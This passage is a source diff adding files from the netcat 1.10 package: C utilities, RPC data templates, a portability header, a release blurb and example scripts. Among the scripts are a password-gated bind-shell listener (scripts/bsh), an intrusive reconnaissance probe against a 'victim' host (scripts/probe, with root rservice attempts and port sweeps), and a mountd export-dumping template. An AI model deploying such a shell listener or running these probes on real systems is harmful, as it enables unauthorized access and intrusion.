y += x;
memcpy (p, "\n", 1); /* and a newline, so it goes */
y++;
write (1, buf, y); /* zot! */
exit (0);
wrong:
fprintf (stderr, "wrong! needs 2 or more args.\n");
exit (1);
}

63
data/showmount.d Normal file
View File

@ -0,0 +1,63 @@
# UDP mountd call. Use as input to find mount daemons and avoid portmap.
# Useful proc numbers are 2, 5, and 6.
# UDP-scan around between 600-800 to find most mount daemons.
# Using this with "2", plugged into "nc -u -v -w 2 victim X-Y" will
# directly scan *and* dump the current exports when mountd is hit.
# combine stdout *and* stderr thru "strings" or something to clean it up
000 # XID: 4 trash bytes
001
002
003
000 # CALL: 0
000
000
000
000 # RPC version: 2
000
000
002
000 # mount: 100005
001
0x86
0xa5
000 # mount version: 1
000
000
001
000 # procedure number -- put what you need here:
000 # 2 = dump [showmount -e]
000 # 5 = exportlist [showmount -a]
xxx # "sed s/xxx/$1/ | data -g | nc ..." or some such...
000 # port: junk
000
000
000
000 # auth trash
000
000
000
000 # auth trash
000
000
000
000 # auth trash
000
000
000
000 # extra auth trash? probably not needed
000
000
000
# that's it!

92
data/xor.c Normal file
View File

@ -0,0 +1,92 @@
/* Generic xor handler.
With no args, xors stdin against 0xFF to stdout. A single argument is a
file to read xor-bytes out of. Any zero in the xor-bytes array is treated
as the end; if you need to xor against a string that *includes* zeros,
you're on your own.
The indirect file can be generated easily with data.c.
Written because there are so many lame schemes for "masking" plaintext
passwords and the like floating around, and it's handy to just run an
obscure binary-format configuration file through this and look for strings.
*Hobbit*, 960208 */
#include <stdio.h>
#include <fcntl.h>
char buf[8192];
char bytes[256];
char * py;
/* do the xor, in place. Uses global ptr "py" to maintain "bytes" state */
xorb (buf, len)
char * buf;
int len;
{
register int x;
register char * pb;
pb = buf;
x = len;
while (x > 0) {
*pb = (*pb ^ *py);
pb++;
py++;
if (! *py)
py = bytes;
x--;
}
} /* xorb */
/* blah */
main (argc, argv)
int argc;
char ** argv;
{
register int x = 0;
register int y;
/* manually preload; xor-with-0xFF is all too common */
memset (bytes, 0, sizeof (bytes));
bytes[0] = 0xff;
/* if file named in any arg, reload from that */
#ifdef O_BINARY /* DOS shit... */
x = setmode (0, O_BINARY); /* make stdin raw */
if (x < 0) {
fprintf (stderr, "stdin binary setmode oops: %d\n", x);
exit (1);
}
x = setmode (1, O_BINARY); /* make stdout raw */
if (x < 0) {
fprintf (stderr, "stdout binary setmode oops: %d\n", x);
exit (1);
}
#endif /* O_BINARY */
if (argv[1])
#ifdef O_BINARY
x = open (argv[1], O_RDONLY | O_BINARY);
#else
x = open (argv[1], O_RDONLY);
#endif
if (x > 0) {
read (x, bytes, 250); /* nothin' fancy here */
close (x);
}
py = bytes;
x = 1;
while (x > 0) {
x = read (0, buf, sizeof (buf));
if (x <= 0)
break;
xorb (buf, x);
y = write (1, buf, x);
if (y <= 0)
exit (1);
}
exit (0);
}

377
generic.h Normal file
View File

@ -0,0 +1,377 @@
/* generic.h -- anything you don't #undef at the end remains in effect.
The ONLY things that go in here are generic indicator flags; it's up
to your programs to declare and call things based on those flags.
You should only need to make changes via a minimal system-specific section
at the end of this file. To build a new section, rip through this and
check everything it mentions on your platform, and #undef that which needs
it. If you generate a system-specific section you didn't find in here,
please mail me a copy so I can update the "master".
I realize I'm probably inventing another pseudo-standard here, but
goddamnit, everybody ELSE has already, and I can't include all of their
hairball schemes too. HAVE_xx conforms to the gnu/autoconf usage and
seems to be the most common format. In fact, I dug a lot of these out
of autoconf and tried to common them all together using "stupidh" to
collect data from platforms.
In disgust... _H* 940910, 941115, 950511. Pseudo-version: 1.3
Updated 951104 with many patches from netcat feedback, and properly
closed a lot of slop in open-ended comments: version 1.4
960217 + nextstep: version 1.5
*/
#ifndef GENERIC_H /* only run through this once */
#define GENERIC_H
/* =============================== */
/* System calls, lib routines, etc */
/* =============================== */
/* How does your system declare malloc, void or char? Usually void, but go
ask the SunOS people why they had to be different... */
#define VOID_MALLOC
/* notably from fwtk/firewall.h: posix locking? */
#define HAVE_FLOCK /* otherwise it's lockf() */
/* if you don't have setsid(), you might have setpgrp(). */
#define HAVE_SETSID
/* random() is generally considered better than rand() */
#define HAVE_RANDOM
/* the srand48/lrand48/etc family is s'posedly even better */
#define HAVE_RAND48
/* bmc@telebase and others have suggested these macros if a box *does* have
rand48. Will consider for later if we're doing something that really
requires stronger random numbers, but netcat and such certainly doesn't.
#define srandom(seed) srand48((long) seed)
#define random() lrand48() */
/* if your machine doesn't have lstat(), it should have stat() [dos...] */
#define HAVE_LSTAT
/* different kinds of term ioctls. How to recognize them, very roughly:
sysv/POSIX_ME_HARDER: termio[s].h, struct termio[s], tty.c_*[]
bsd/old stuff: sgtty.h, ioctl(TIOCSETP), sgttyb.sg_*, tchars.t_* */
#define HAVE_TERMIOS
/* dbm vs ndbm */
#define HAVE_NDBM
/* extended utmp/wtmp stuff. MOST machines still do NOT have this SV-ism */
#define UTMPX
/* some systems have nice() which takes *relative* values... [resource.h] */
#define HAVE_SETPRIORITY
/* a sysvism, I think, but ... */
#define HAVE_SYSINFO
/* ============= */
/* Include files */
/* ============= */
/* Presence of these can be determined via a script that sniffs them
out if you aren't sure. See "stupidh"... */
/* stdlib comes with most modern compilers, but ya never know */
#define HAVE_STDLIB_H
/* not on a DOS box! */
#define HAVE_UNISTD_H
/* stdarg is a weird one */
#define HAVE_STDARG_H
/* dir.h or maybe ndir.h otherwise. */
#define HAVE_DIRENT_H
/* string or strings */
#define HAVE_STRINGS_H
/* if you don't have lastlog.h, what you want might be in login.h */
#define HAVE_LASTLOG_H
/* predefines for _PATH_various */
#define HAVE_PATHS_H
/* some SV-flavors break select stuff out separately */
#define HAVE_SELECT_H
/* assorted others */
#define HAVE_PARAM_H /* in sys/ */
#define HAVE_SYSMACROS_H /* in sys/ */
#define HAVE_TTYENT_H /* securetty et al */
/* ==================== */
/* Still maybe have to do something about the following, if it's even
worth it. I just grepped a lot of these out of various code, without
looking them up yet:
#define HAVE_EINPROGRESS
#define HAVE_F_SETOWN
HAVE_FILIO_H ... fionbio, fiosetown, etc... will need for hairier
select loops.
#define HAVE_SETENV ... now *there's* a hairy one; **environ is portable
#define BIG_ENDIAN/little_endian ... *please* try to avoid this stupidity
and LSBFIRST/MSBFIRST
#define HAVE_GETUSERSHELL ... you could always pull it out of getpwent()
#define HAVE_SETE[UG]ID ... lib or syscall, it varies on diff platforms
#define HAVE_STRCHR ... should actually be handled by string/strings
#define HAVE_PSTAT
#define HAVE_ST_BLKSIZE ... a stat() thing?
#define HAVE_IP_TOS
#define HAVE_STRFTIME ... screw this, we'll just INCLUDE one for lame
old boxes that don't have it [sunos 3.x, early 4.x?]
#define HAVE_VFPRINTF
#define HAVE_SHADOW_PASSWD ... in its multitudinous schemes?? ... how
about sumpin' like #define SHADOW_PASSWD_TYPE ... could get grody.
... looks like sysv /etc/shadow, getspent() family is common.
#define SIG* ... what a swamp, punt for now; should all be in signal.h
#define HAVE_STRCSPN ... see larry wall's comment in the fwtk regex code
#define ULTRIX_AUTH ... bwahaha.
#define HAVE_YP or NIS or whatever you wanna call it this week
randomness about VARARGS??
--- later stuff to be considered ---
#define UINT4 ... u-int on alpha/osf, i.e. __alpha/__osf__, ulong elsewhere?
dont name it that, though, it'll conflict with extant .h files like md5
randomness about machine/endian.h, machine/inline.h -- bsdi, net/2
randomness about _PATH_WTMP vs WTMP_FILE and where they even live!!
#define HAVE_SYS_ERRLIST ... whether it's in stdio.h or not [bsd 4.4]
--- still more stuff
#define HAVE_SETENV
#define _PATH_UTMP vs UTMP_FILE, a la deslogind?!
#define HAVE_DAEMON
#define HAVE_INETADDR [vixie bind?]
lseek: SEEK_SET vs L_SET and associated lossage [epi-notes, old 386Mach]
bsdi: ioctl_compat.h ?
--- takin' some ifdefs from CNS krb:
F_GETOWN/F_SETOWN
CRAY: long = 8 bytes, etc [class with alpha?]
CGETENT
SIGINFO
SIGTSTP SIGTTOU SIGWINCH
SPX?
SYSV_TERMIO -- covered elsewhere, I hope
TIOCEXT TIOCFLUSH TIOC[GS]WINSIZ
NEWINIT: something about init cleaning up dead login processes [telnet?]
PARENT_DOES_UTMP, too [telnet]
VDISCARD
VEOL/VEOL2/VLNEXT VREPRINT -- termios stuff?, and related...
STREAMSPTY/STREAMSPTYEM
AF_INET/AF_UNSPEC, PF_*
ECHOCTL/ECHOKE
F_ULOCK [?!]
setpgrp/getpgrp() ONEARG business..
HAVE_ALLOCA
HAVE_GETUTENT
HAVE_SYS_SELECT_H [irix!]
HAVE_DIRENT [old 386mach has *direct.h*!]
HAVE_SIGSET
HAVE_VFORK_H and HAVE_VFORK
HAVE_VHANGUP
HAVE_VSPRINTF
HAVE_IPTOS_*
HAVE_STRCASECMP, STRNCASECMP
HAVE_SYS_FCNTL_H
HAVE_SYS_TIME_H
HAVE_UTIMES
NOTTYENT [?]
HAVE_FCHMOD
HAVE_GETUSERSHELL
HAVE_SIGCONTEXT [stack hair, very machine-specific]
YYLINENO?
POSIX_SIGNALS
POSIX_TERMIOS
SETPROCTITLE -- breaks some places, like fbsd sendmail
SIG* -- actual signal names? some are missing
SIOCGIFCONF
SO_BROADCAST
SHMEM [krb tickets]
VARARGS, or HAVE_VARARGS
CBAUD
... and B300, B9600, etc etc
HAVE_BZERO vs memset/memcpy
HAVE_SETVBUF
HAVE_STRDUP
HAVE_GETENV
HAVE_STRSAVE
HAVE_STBLKSIZE [stat?]
HAVE_STREAM_H -- in sys/, ref sendmail 8.7 for IP_SRCROUTE
FCHMOD
INITGROUPS -- most machines seem to *have*
SETREUID
SNPRINTF
SETPGRP semantics bsd vs. sys5 style
There's also the issue about WHERE various .h files live, sys/ or otherwise.
There's a BIG swamp lurking where network code of any sort lives.
*/
/* ======================== */
/* System-specific sections */
/* ======================== */
/* By turning OFF various bits of the above, you can customize for
a given platform. Yes, we're ignoring the stock compiler predefines
and using our own plugged in via the Makefile. */
/* DOS boxes, with MSC; you may need to adapt to a different compiler. */
/* looks like later ones *do* have dirent.h, for example */
#ifdef MSDOS
#undef HAVE_FLOCK
#undef HAVE_RANDOM
#undef HAVE_LSTAT
#undef HAVE_TERMIOS
#undef UTMPX
#undef HAVE_SYSINFO
#undef HAVE_UNISTD_H
#undef HAVE_DIRENT_H /* unless you have the k00l little wrapper from L5!! */
#undef HAVE_STRINGS_H
#undef HAVE_LASTLOG_H
#undef HAVE_PATHS_H
#undef HAVE_PARAM_H
#undef HAVE_SYSMACROS_H
#undef HAVE_SELECT_H
#undef HAVE_TTYENT_H
#endif /* MSDOS */
/* buglix 4.x; dunno about 3.x on down. should be bsd4.2 */
#ifdef ULTRIX
#undef UTMPX
#undef HAVE_PATHS_H
#undef HAVE_SYSMACROS_H
#undef HAVE_SELECT_H
#endif /* buglix */
/* some of this might still be broken on older sunoses */
#ifdef SUNOS
#undef VOID_MALLOC
#undef UTMPX
#undef HAVE_PATHS_H
#undef HAVE_SELECT_H
#endif /* sunos */
/* "contact your vendor for a fix" */
#ifdef SOLARIS
/* has UTMPX */
#undef HAVE_RANDOM
#undef HAVE_SETPRIORITY
#undef HAVE_STRINGS_H /* this is genuinely the case, go figure */
#undef HAVE_PATHS_H
#undef HAVE_SELECT_H
#undef HAVE_TTYENT_H
#endif /* SOLARIS */
/* whatever aix variant MIT had at the time; 3.2.x?? */
#ifdef AIX
#undef UTMPX
#undef HAVE_LASTLOG_H
#define HAVE_LOGIN_H /* "special", in the educational sense */
#endif /* aix */
/* linux, which is trying as desperately as the gnu folks can to be
POSIXLY_CORRECT. I think I'm gonna hurl... */
#ifdef LINUX
#undef UTMPX
#undef HAVE_SYSINFO
#undef HAVE_SELECT_H
#undef HAVE_TTYENT_H
#endif /* linux */
/* irix 5.x; may not be correct for earlier ones */
#ifdef IRIX
/* wow, does irix really have everything?! */
#endif /* irix */
/* osf on alphas */
#ifdef OSF
#undef UTMPX
#undef HAVE_SELECT_H
#endif /* osf */
/* they's some FUCKED UP paths in this one! */
#ifdef FREEBSD
#undef UTMPX
#undef HAVE_SYSINFO
#undef HAVE_LASTLOG_H
#undef HAVE_SYSMACROS_H
#undef HAVE_SELECT_H /* actually a lie, but only for kernel */
#endif /* freebsd */
/* Originally from the sidewinder site, of all places, but subsequently
checked further under a more normal bsdi 2.0 */
#ifdef BSDI
#undef UTMPX
#undef HAVE_LASTLOG_H
#undef HAVE_SYSMACROS_H
/* and their malloc.h was in sys/ ?! */
#undef HAVE_SELECT_H
#endif /* bsdi */
/* netbsd/44lite, jives with amiga-netbsd from cactus */
#ifdef NETBSD
#undef UTMPX
#undef HAVE_SYSINFO
#undef HAVE_LASTLOG_H
#undef HAVE_SELECT_H
#endif /* netbsd */
/* Hpux 9.0x, from BBN and various patches sent in */
#ifdef HPUX
#undef HAVE_RANDOM /* but *does* have ?rand48 -- need to consider.. */
#undef HAVE_UTMPX
#undef HAVE_LASTLOG_H /* has utmp/wtmp/btmp nonsense, and pututline() */
#undef HAVE_PATHS_H
#undef HAVE_SELECT_H
#undef HAVE_TTYENT_H
#endif /* hockeypux */
/* Unixware [a loose definition of "unix", to be sure], 1.1.2 [at least]
from Brian Clapper. He wasn't sure about 2.0... */
#ifdef UNIXWARE
/* has UTMPX */
#undef HAVE_SETPRIORITY
/* NOTE: UnixWare does provide the BSD stuff, in "/usr/ucbinclude" (headers)
and "/usr/ucblib" (libraries). However, I've run into problems linking
stuff out of that version of the C library, when objects are also coming
out of the "regular" C library. My advice: Avoid the BSD compatibility
stuff wherever possible. Brian Clapper <bmc@telebase.com> */
#undef HAVE_STRINGS_H
#undef HAVE_PATHS_H
#undef HAVE_TTYENT_H
#endif /* UNIXWARE */
/* A/UX 3.1.x from darieb@sandia.gov */
#ifdef AUX
#undef HAVE_RANDOM
#undef HAVE_SELECT_H /* xxx: untested */
#endif /* a/ux */
/* NeXTSTEP 3.2 motorola mudge@l0pht.com xxx should also work with
white hardware and Sparc/HPPA. Should work with 3.3 too as it's
4.3 / 4.4 bsd wrapped around mach */
#ifdef NEXT
#undef UTMPX
#undef HAVE_SELECT_X
#endif /* NeXTSTEP 3.2 motorola */
/* Make some "generic" assumptions if all else fails */
#ifdef GENERIC
#undef HAVE_FLOCK
#if defined(SYSV) && (SYSV < 4) /* TW leftover: old SV doesnt have symlinks */
#undef HAVE_LSTAT
#endif /* old SYSV */
#undef HAVE_TERMIOS
#undef UTMPX
#undef HAVE_PATHS_H
#undef HAVE_SELECT_H
#endif /* generic */
/* ================ */
#endif /* GENERIC_H */

61
netcat.blurb Normal file
View File

@ -0,0 +1,61 @@
Netcat 1.10 is an updated release of Netcat, a simple Unix utility which reads
and writes data across network connections using TCP or UDP protocol. It is
designed to be a reliable "back-end" tool that can be used directly or easily
driven by other programs and scripts. At the same time it is a feature-rich
network debugging and exploration tool, since it can create almost any kind of
connection you would need and has several interesting built-in capabilities.
Some of netcat's major features are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Hex dump of transmitted and received data
Optional ability to let another program service established connections
Optional telnet-options responder
A very short list of potential uses:
Script backends
Scanning ports and inventorying services, automated probes
Backup handlers
File transfers
Server testing, simulation, debugging, and hijacking
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you'll likely come up with
Changes between the 1.00 release and this release:
Better portability -- updated generic.h and Makefile [thanx folks!]
Indication of local-end interface address on inbound connections
That's *Dave* Borman's telnet, not Paul Borman...
Better indication of DNS errors
Total byte counts printed if -v -v is used
A bunch of front-end driver companion programs and scripts
Better handling of stdin arguments-plus-data
Hex-dump feature
Telnet responder
Program exec works inbound or outbound now
Netcat and the associated package is a product of Avian Research, and is freely
available in full source form with no restrictions save an obligation to give
credit where due. Get it via anonymous FTP at avian.org:/src/hacks/nc110.tgz
which is a gzipped tar file and not to be confused with its version 1.00
precursor, nc100.tgz. Other distribution formats can be accomodated upon
request. Netcat is also mirrored at the following [faster] sites:
zippy.telcom.arizona.edu:/pub/mirrors/avian.org/hacks/nc110.tgz
ftp.sterling.com:/mirrors/avian.org/src/hacks/nc110.tgz
coast.cs.purdue.edu:/pub/tools/unix/netcat/nc110.tgz
ftp.rge.com:/pub/security/coast/mirrors/avian.org/netcat/nc110.tgz
_H* 960320

1668
netcat.c Normal file

File diff suppressed because it is too large Load Diff

5
scripts/README Normal file
View File

@ -0,0 +1,5 @@
A collection of example scripts that use netcat as a backend, each
documented by its own internal comments.
I'll be the first to admit that some of these are seriously *sick*,
but they do work and are quite useful to me on a daily basis.

33
scripts/alta Executable file
View File

@ -0,0 +1,33 @@
#! /bin/sh
## special handler for altavista, since they only hand out chunks of 10 at
## a time. Tries to isolate out results without the leading/trailing trash.
## multiword arguments are foo+bar, as usual.
## Second optional arg switches the "what" field, to e.g. "news"
test "${1}" = "" && echo 'Needs an argument to search for!' && exit 1
WHAT="web"
test "${2}" && WHAT="${2}"
# convert multiple args
PLUSARG="`echo $* | sed 's/ /+/g'`"
# Plug in arg. only doing simple-q for now; pg=aq for advanced-query
# embedded quotes define phrases; otherwise it goes wild on multi-words
QB="GET /cgi-bin/query?pg=q&what=${WHAT}&fmt=c&q=\"${PLUSARG}\""
# ping 'em once, to get the routing warm
nc -z -w 8 www.altavista.digital.com 24015 2> /dev/null
echo "=== Altavista ==="
for xx in 0 10 20 30 40 50 60 70 80 90 100 110 120 130 140 150 160 170 180 \
190 200 210 220 230 240 250 260 270 280 290 300 310 320 330 340 350 ; do
echo "${QB}&stq=${xx}" | nc -w 15 www.altavista.digital.com 80 | \
egrep '^<a href="http://'
done
exit 0
# old filter stuff
sed -e '/Documents .* matching .* query /,/query?.*stq=.* Document/p' \
-e d

29
scripts/bsh Executable file
View File

@ -0,0 +1,29 @@
#! /bin/sh
## a little wrapper to "password" and re-launch a shell-listener.
## Arg is taken as the port to listen on. Define "NC" to point wherever.
NC=nc
case "$1" in
?* )
LPN="$1"
export LPN
sleep 1
echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac
# here we play inetd
echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
while read qq ; do
case "$qq" in
# here's yer password
gimme )
cd /
exec csh -i
;;
esac
done

23
scripts/dist.sh Executable file
View File

@ -0,0 +1,23 @@
#! /bin/sh
## This is a quick example listen-exec server, which was used for a while to
## distribute netcat prereleases. It illustrates use of netcat both as a
## "fake inetd" and a syslogger, and how easy it then is to crock up a fairly
## functional server that restarts its own listener and does full connection
## logging. In a half-screen of shell script!!
PORT=31337
sleep 1
SRC=`tail -1 dist.log`
echo "<36>elite: ${SRC}" | ./nc -u -w 1 localhost 514 > /dev/null 2>&1
echo ";;; Hi, ${SRC}..."
echo ";;; This is a PRERELEASE version of 'netcat', tar/gzip/uuencoded."
echo ";;; Unless you are capturing this somehow, it won't do you much good."
echo ";;; Ready?? Here it comes! Have phun ..."
sleep 8
cat dist.file
sleep 1
./nc -v -l -p ${PORT} -e dist.sh < /dev/null >> dist.log 2>&1 &
sleep 1
echo "<36>elite: done" | ./nc -u -w 1 localhost 514 > /dev/null 2>&1
exit 0

79
scripts/irc Executable file
View File

@ -0,0 +1,79 @@
#! /bin/sh
## Shit-simple script to supply the "privmsg <recipient>" of IRC typein, and
## keep the connection alive. Pipe this thru "nc -v -w 5 irc-server port".
## Note that this mechanism makes the script easy to debug without being live,
## since it just echoes everything bound for the server.
## if you want autologin-type stuff, construct some appropriate files and
## shovel them in using the "<" mechanism.
# magic arg: if "tick", do keepalive process instead of main loop
if test "$1" = "tick" ; then
# ignore most signals; the parent will nuke the kid
# doesn't stop ^Z, of course.
trap '' 1 2 3 13 14 15 16
while true ; do
sleep 60
echo "PONG !"
done
fi
# top level: fire ourselves off as the keepalive process, and keep track of it
sh $0 tick &
ircpp=$!
echo "[Keepalive: $ircpp]" >&2
# catch our own batch of signals: hup int quit pipe alrm term urg
trap 'kill -9 $ircpp ; exit 0' 1 2 3 13 14 15 16
sleep 2
sender=''
savecmd=''
# the big honkin' loop...
while read xx yy ; do
case "${xx}" in
# blank line: do nothing
"")
continue
;;
# new channel or recipient; if bare ">", we're back to raw literal mode.
">")
if test "${yy}" ; then
sender="privmsg ${yy} :"
else
sender=''
fi
continue
;;
# send crud from a file, one line per second. Can you say "skr1pt kidz"??
# *Note: uses current "recipient" if set.
"<")
if test -f "${yy}" ; then
( while read zz ; do
sleep 1
echo "${sender}${zz}"
done ) < "$yy"
echo "[done]" >&2
else
echo "[File $yy not found]" >&2
fi
continue
;;
# do and save a single command, for quick repeat
"/")
if test "${yy}" ; then
savecmd="${yy}"
fi
echo "${savecmd}"
;;
# default case goes to recipient, just like always
*)
echo "${sender}${xx} ${yy}"
continue
;;
esac
done
# parting shot, if you want it
echo "quit :Bye all!"
kill -9 $ircpp
exit 0

35
scripts/iscan Executable file
View File

@ -0,0 +1,35 @@
#! /bin/sh
## duplicate DaveG's ident-scan thingie using netcat. Oooh, he'll be pissed.
## args: target port [port port port ...]
## hose stdout *and* stderr together.
##
## advantages: runs slower than ident-scan, giving remote inetd less cause
## for alarm, and only hits the few known daemon ports you specify.
## disadvantages: requires numeric-only port args, the output sleazitude,
## and won't work for r-services when coming from high source ports.
case "${2}" in
"" ) echo needs HOST and at least one PORT ; exit 1 ;;
esac
# ping 'em once and see if they *are* running identd
nc -z -w 9 "$1" 113 || { echo "oops, $1 isn't running identd" ; exit 0 ; }
# generate a randomish base port
RP=`expr $$ % 999 + 31337`
TRG="$1"
shift
while test "$1" ; do
nc -v -w 8 -p ${RP} "$TRG" ${1} < /dev/null > /dev/null &
PROC=$!
sleep 3
echo "${1},${RP}" | nc -w 4 -r "$TRG" 113 2>&1
sleep 2
# does this look like a lamer script or what...
kill -HUP $PROC
RP=`expr ${RP} + 1`
shift
done

46
scripts/ncp Executable file
View File

@ -0,0 +1,46 @@
#! /bin/sh
## Like "rcp" but uses netcat on a high port.
## do "ncp targetfile" on the RECEIVING machine
## then do "ncp sourcefile receivinghost" on the SENDING machine
## if invoked as "nzp" instead, compresses transit data.
## pick your own personal favorite port, which will be used on both ends.
## You should probably change this for your own uses.
MYPORT=23456
## if "nc" isn't systemwide or in your PATH, add the right place
# PATH=${HOME}:${PATH} ; export PATH
test "$3" && echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=`echo $0 | sed 's+.*/++'`
test "$me" = "nzp" && echo '[compressed mode]'
# if second arg, it's a host to send an [extant] file to.
if test "$2" ; then
test ! -f "$1" && echo "can't find $1" && exit 1
if test "$me" = "nzp" ; then
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
else
nc -v -w 2 $2 $MYPORT < "$1" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi
# fall here for receiver. Ask before trashing existing files
if test -f "$1" ; then
echo -n "Overwrite $1? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if you want.
if test "$me" = "nzp" ; then
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
fi
echo "transfer FAILED!"
# clean up, since even if the transfer failed, $1 is already trashed
rm -f "$1"
exit 1

50
scripts/probe Executable file
View File

@ -0,0 +1,50 @@
#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place. Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!
# where .d files are kept; "." if nothing else
DDIR=../data
# address of some well-connected router that groks LSRR
GATE=192.157.69.11
# might conceivably wanna change this for different run styles
UCMD='nc -v -w 8'
test ! "$1" && echo Needs victim arg && exit 1
echo '' | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
echo '0' | $UCMD "$1" 79 2>&1
# if LSRR was passed thru, should get refusal here:
$UCMD -z -r -g $GATE "$1" 6473 2>&1
$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s `hostname` may be wrong for some multihomed machines
echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
echo '113,10158' | $UCMD -p 10158 "$1" 113 2>&1
rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo ''
echo PASV | $UCMD -r "$1" 21 2>&1
echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2>&1
# sometimes contains useful directory info:
echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2>&1
# now the big red lights go on
rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
rservice root root | $UCMD -r "$1" exec 2>&1
echo 'BEGIN big udp -- everything may look "open" if packet-filtered'
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
# no wait-time, uses RTT hack
nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo 'END big udp'
$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive, but what the fuck. Probe for portmap first
if nc -w 5 -z -u "$1" 111 ; then
showmount -e "$1" 2>&1
rpcinfo -p "$1" 2>&1
fi
exit 0

148
scripts/web Executable file
View File

@ -0,0 +1,148 @@
#! /bin/sh
## The web sucks. It is a mighty dismal kludge built out of a thousand
## tiny dismal kludges all band-aided together, and now these bottom-line
## clueless pinheads who never heard of "TCP handshake" want to run
## *commerce* over the damn thing. Ye godz. Welcome to TV of the next
## century -- six million channels of worthless shit to choose from, and
## about as much security as today's cable industry!
##
## Having grown mightily tired of pain in the ass browsers, I decided
## to build the minimalist client. It doesn't handle POST, just GETs, but
## the majority of cgi forms handlers apparently ignore the method anyway.
## A distinct advantage is that it *doesn't* pass on any other information
## to the server, like Referer: or info about your local machine such as
## Netscum tries to!
##
## Since the first version, this has become the *almost*-minimalist client,
## but it saves a lot of typing now. And with netcat as its backend, it's
## totally the balls. Don't have netcat? Get it here in /src/hacks!
## _H* 950824, updated 951009 et seq.
##
## args: hostname [port]. You feed it the filename-parts of URLs.
## In the loop, HOST, PORT, and SAVE do the right things; a null line
## gets the previous spec again [useful for initial timeouts]; EOF to exit.
## Relative URLs behave like a "cd" to wherever the last slash appears, or
## just use the last component with the saved preceding "directory" part.
## "\" clears the "filename" part and asks for just the "directory", and
## ".." goes up one "directory" level while retaining the "filename" part.
## Play around; you'll get used to it.
if test "$1" = "" ; then
echo Needs hostname arg.
exit 1
fi
umask 022
# optional PATH fixup
# PATH=${HOME}:${PATH} ; export PATH
test "${PAGER}" || PAGER=more
BACKEND="nc -v -w 15"
TMPAGE=/tmp/web$$
host="$1"
port="80"
if test "$2" != "" ; then
port="$2"
fi
spec="/"
specD="/"
specF=''
saving=''
# be vaguely smart about temp file usage. Use your own homedir if you're
# paranoid about someone symlink-racing your shell script, jeez.
rm -f ${TMPAGE}
test -f ${TMPAGE} && echo "Can't use ${TMPAGE}" && exit 1
# get loopy. Yes, I know "echo -n" aint portable. Everything echoed would
# need "\c" tacked onto the end in an SV universe, which you can fix yourself.
while echo -n "${specD}${specF} " && read spec ; do
case $spec in
HOST)
echo -n 'New host: '
read host
continue
;;
PORT)
echo -n 'New port: '
read port
continue
;;
SAVE)
echo -n 'Save file: '
read saving
# if we've already got a page, save it
test "${saving}" && test -f ${TMPAGE} &&
echo "=== ${host}:${specD}${specF} ===" >> $saving &&
cat ${TMPAGE} >> $saving && echo '' >> $saving
continue
;;
# changing the logic a bit here. Keep a state-concept of "current dir"
# and "current file". Dir is /foo/bar/ ; file is "baz" or null.
# leading slash: create whole new state.
/*)
specF=`echo "${spec}" | sed 's|.*/||'`
specD=`echo "${spec}" | sed 's|\(.*/\).*|\1|'`
spec="${specD}${specF}"
;;
# embedded slash: adding to the path. "file" part can be blank, too
*/*)
specF=`echo "${spec}" | sed 's|.*/||'`
specD=`echo "${specD}${spec}" | sed 's|\(.*/\).*|\1|'`
;;
# dotdot: jump "up" one level and just reprompt [confirms what it did...]
..)
specD=`echo "${specD}" | sed 's|\(.*/\)..*/|\1|'`
continue
;;
# blank line: do nothing, which will re-get the current one
'')
;;
# hack-quoted blank line: "\" means just zero out "file" part
'\')
specF=''
;;
# sigh
'?')
echo Help yourself. Read the script fer krissake.
continue
;;
# anything else is taken as a "file" part
*)
specF=${spec}
;;
esac
# now put it together and stuff it down a connection. Some lame non-unix
# http servers assume they'll never get simple-query format, and wait till
# an extra newline arrives. If you're up against one of these, change
# below to (echo GET "$spec" ; echo '') | $BACKEND ...
spec="${specD}${specF}"
echo GET "${spec}" | $BACKEND $host $port > ${TMPAGE}
${PAGER} ${TMPAGE}
# save in a format that still shows the URLs we hit after a de-html run
if test "${saving}" ; then
echo "=== ${host}:${spec} ===" >> $saving
cat ${TMPAGE} >> $saving
echo '' >> $saving
fi
done
rm -f ${TMPAGE}
exit 0
#######
# Encoding notes, finally from RFC 1738:
# %XX -- hex-encode of special chars
# allowed alphas in a URL: $_-.+!*'(),
# relative names *not* described, but obviously used all over the place
# transport://user:pass@host:port/path/name?query-string
# wais: port 210, //host:port/database?search or /database/type/file?
# cgi-bin/script?arg1=foo&arg2=bar&... scripts have to parse xxx&yyy&zzz
